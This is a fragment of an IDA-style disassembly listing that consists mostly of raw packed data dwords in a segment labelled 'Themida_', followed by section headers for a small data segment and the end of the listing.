		dd 192DD69Fh, 12E986h, 0E20D0000h, 0BC2AA296h, 436640ACh
		dd 6E66B54Eh, 0BA19A9CEh, 0CEE28152h, 592071A1h, 60CAB70Fh
		dd 0FC7D080h, 489h, 54B96600h, 0BDB56119h, 20840Fh, 880F0000h
		dd 1Ah,	14E8h, 0CC916200h, 62FAA03Ah, 0DB7313BEh, 5BD74A33h
		dd 66F1A996h, 870F59E2h, 8, 2890Fh, 0FA8A0000h,	84F18166h
		dd 0D2A1B9D0h, 0A7BA5B0Eh, 0E87664C3h, 11h, 0E372C755h
		dd 0B9CAB34h, 510C011Ah, 3FF6CCADh, 15D780B0h, 48E0F58h
		dd 51000000h, 6058C3B5h, 0BE8h,	97E74C00h, 0C8CA3C89h
		dd 8E179D7Bh, 0A5EA8166h, 0BE6659A6h, 0F96166C1h, 12E860h
		dd 0DE930000h, 52650B1Dh, 0B2C1CEB6h, 0EC4FB834h, 0A98C07CCh
		dd 0EE8h, 2D35900h, 3D97BBC3h, 8A7CB036h, 5FBAA491h, 1850F58h
		dd 0F8000000h, 2820F61h, 56000000h, 66F78B59h, 60FBAEB9h
		dd 0EE9h, 0B7BA1700h, 8A2C1F16h, 6EAC22A1h, 535287B4h
		dd 6E9h, 8F01EF00h, 5A76E5D4h, 58E0F61h, 66000000h, 0E1FDD081h
		dd 0F372D1BEh, 7E874h, 0D8C50000h, 611DCCA2h, 10E9CAh
		dd 5CF60000h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh,	605ADA45h
		dd 8E8h, 389AC300h, 19350513h, 8B0FFEh,	58000000h, 0DE860h
		dd 0DA80000h, 883B5D1Fh, 41B2DCCBh, 5A9B441Dh, 13E8h, 65C61100h
		dd 2E650F2Fh, 0E1CD10BBh, 0BF098AA4h, 79D7F8FBh, 0B961615Eh
		dd 1FCC95B6h, 2870Fh, 0E6B00000h, 38E0Fh, 0B70F0000h, 7E9D1h
		dd 0A1980000h, 0B9150920h, 7E91Ch, 85120000h, 0A96E5B0Fh
		dd 1F39BA79h, 99BB24A4h, 8B70D09Fh, 0FCFB8BF8h,	6E8h, 2B404700h
		dd 81285F4Ah, 0FA95E5D9h, 0DB815F4Eh, 57A61B89h, 14E8h
		dd 0ED134000h, 0D804353Eh, 0DC0DBF4Bh, 0C35560ACh, 0E4FB4B34h
		dd 800F2Fh, 5B000000h, 81AFF180h, 0BBED8BD8h, 5890F7Ah
		dd 66000000h, 4708F181h, 0FF18B66h, 382h, 0FABF0F00h, 65D38166h
		dd 860FF5F3h, 0
		dd 840463B8h, 0FBA663Dh, 128A0F27h, 0E9000000h,	0Dh, 19EFF9AFh
		dd 5F2C6250h, 87073DAh,	820F60D7h, 1, 0EB8166F9h, 0E9610369h
		dd 0Ah,	0E276E705h, 0DCA3E9F1h,	0FFCDCEAh, 6653CAB7h, 5941F8B8h
		dd 860FDF8Bh, 3, 0FF8BF0Fh, 686h, 8E0F00h, 0E9000000h
		dd 14h,	0C59948D1h, 2B5778ADh, 42A032C3h, 0DD6FD429h, 3727525Ch
		dd 0FDAB70Fh, 280h, 0E9CA8B00h,	0Bh, 0C805ACEFh, 7FB9769Ch
		dd 0FADA432h, 0CA81FABFh, 75252623h, 8C0F2BB1h,	3, 0F4BC680h
		dd 81h,	86DB8100h, 662D958Bh, 57F8C3B9h, 0DE960h, 5EB10000h
		dd 0B2A8B1Dh, 0D4F147F8h, 0B3BA1877h, 0F5B6149h, 0B70FCABFh
		dd 0DE8160CBh, 42635B52h, 6860Fh, 0C6810000h, 1DE30EB3h
		dd 0D6E98061h, 0CF8B5B53h, 79DF8157h, 586D11A0h, 6E95953h
		dd 77000000h, 0FE9983CFh, 9E9F7h, 7E530000h, 524C933Bh
		dd 0E8AEBEB7h, 8, 483E3613h, 6E6199DCh,	0EE8h, 6C1A3C00h
		dd 80A221Fh, 4817B7F1h,	0B741C16Fh, 0F95F5BDDh,	5860Fh
		dd 42BA0000h, 0E87D634Eh, 5, 0C480EC5h,	59D78BCEh, 0A976B9FDh
		dd 11h dup(0A976B9FEh),	8F76B9FEh, 7Dh dup(8E2B47E6h)
		dd 6D21B3BAh, 142h dup(6D21B3BBh), 8E215BBBh, 166h dup(8E215BE0h)
		dd 0D1805A08h, 52Fh dup(0D1805A09h), 40Fh dup(7F20F090h)
		dd 0CCCCCC90h, 786h dup(0CCCCCCCCh), 10Fh dup(0)
Themida_	ends

; Section 5. (virtual address 00171000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00171000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 571000h
		align 2000h
_idata2		ends


		end start